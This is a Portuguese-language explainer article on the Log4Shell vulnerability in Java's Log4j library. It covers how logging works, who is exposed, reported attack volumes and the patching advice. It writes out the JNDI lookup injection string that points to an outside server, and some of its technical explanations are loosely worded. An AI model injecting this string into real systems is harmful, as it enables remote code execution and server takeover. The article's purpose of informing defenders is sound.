Uma vulnerabilidade séria em uma biblioteca de código aberto amplamente usada na linguagem Java está a abalar o cenário global de TI. A chance de que a sua empresa seja afectada é tão grande. A resolução começa com a compreensão, então vamos explicar o problema do Log4Shell.
- Como funciona o Log4j?
Log4j foi incorporado a uma grande quantidade de plataformas, aplicativos e serviços. Os softwares da Cisco, IBM, VMware, Fortinet e Red Hat são alguns exemplos. A aplicação exacta da biblioteca varia, mas o registro de eventos em aplicativos sempre desempenha um papel. Pense em observar as tentativas de login ou a identidade do usuário de um aplicativo.
O aplicativo processa um evento; Log4j emite dados. O programador do aplicativo determina quais dados. Conforme mencionado anteriormente, pode ser o nome de usuário de uma tentativa de login. Ou a hora em que um usuário faz login.
A vulnerabilidade que a equipa de segurança do Alibaba encontrou é o resultado de uma interação entre a linguagem de programação Java e a biblioteca Log4j. Java, em combinação com Log4j, é capaz de executar código em um servidor remoto. Para isso, os programadores passam a seguinte linha: $ {jndi: ldap: //example.com/vaneenurl} . O url real pode ser substituído pelo endereço de um servidor de sua escolha. Se você executar a linha em um aplicativo Java, o aplicativo tentará executar os dados do url especificado.
Isso não é uma vulnerabilidade em si, porque em cenários desejáveis do mundo real, apenas um administrador autorizado tem a capacidade de adicionar a regra em um aplicativo. O problema começa com Log4j executa a linha, Java interpreta exactamente o mesmo comando que uma linha propositalmente colocada no aplicativo por um desenvolvedor.
Suponha que o Log4j esteja configurado para registar o conteúdo de uma mensagem de bate-papo em um jogo online. Um usuário do jogo envia a linha acima em uma mensagem de bate-papo. A url aponta para um servidor com instruções para executar um aplicativo malware. Log4j executa a linha para fora. Java interpreta um comando – e segue o comando ordenadamente. O usuário consegue invadir o servidor sem precisar obter uma única senha.
- Quem corre risco?
A ameaça mencionada se aplica a qualquer outro aplicativo Java que registe a entrada de um usuário por meio do Log4j. Há muito poucos. O iCloud é um exemplo proeminente. Log4j foi encontrado em algum lugar no software da loja da Apple- iCloud para registar nomes de iPhones, então a mudança de nome de um iPhone foi o suficiente para se infiltrar nos servidores do iCloud.
Além disso, uma grande quantidade de serviços de hospedagem regista os nomes dos navegadores para determinar qual navegador um usuário conectado está a usar. A popularidade do Log4j é impossível de medir, mas estima-se que a biblioteca esteja no software da maioria dos ambientes de negócios.
You can set the name of your iPhone and exploit Apple iCloud currently. https://t.co/WsOrsFeMS9
— Kevin Beaumont (@GossiTheDog) December 10, 2021
- Qual é o dano do Log4j?
Neste ponto, ninguém parece saber exatamente quanto dano a vulnerabilidade fez e ainda pode causar. Ele passou despercebido pelos usuários do Log4j por anos. É impossível nesta fase determinar se e quais hacks foram causados pela vulnerabilidade desde 2013 (ano da primeira versão vulnerável). Sabemos que os cibercriminosos têm procurado alvos em massa e de maneira direcionada desde que a vulnerabilidade foi anunciada.
Diversas organizações de segurança, incluindo a Check Point Software, destacam o último. A organização diz que observou 400.000 tentativas de abuso em três dias. Seu departamento de pesquisa também afirma que os cibercriminosos tentaram atacar 31,5% de todas as redes corporativas globais.
- E agora?
Qualquer versão do Log4j publicada entre 13 de setembro de 2013 e 5 de dezembro de 2021 é vulnerável. A Apache Software Foundation, que pertence ao Log4j, lançou um patch de emergência para consertar a vulnerabilidade.
A facilidade com que a vulnerabilidade pode ser abusada funciona nos dois sentidos. Em um nível técnico, a solução é simples. Um patch da biblioteca é suficiente. O principal problema é de natureza prática. Log4j é usado com tanta frequência que as organizações raramente sabem exactamente onde a biblioteca se aplica. A maioria das autoridades de segurança cibernética recomenda começar com um inventário dos aplicativos para os quais o Log4j é usado nos ambientes de TIC. Então, uma actualização do aplicativo com o patch oficial é o conselho recomendado. Caso o fornecedor do aplicativo ainda não forneça uma versão actualizada, a forma mais segura é desactivá-la.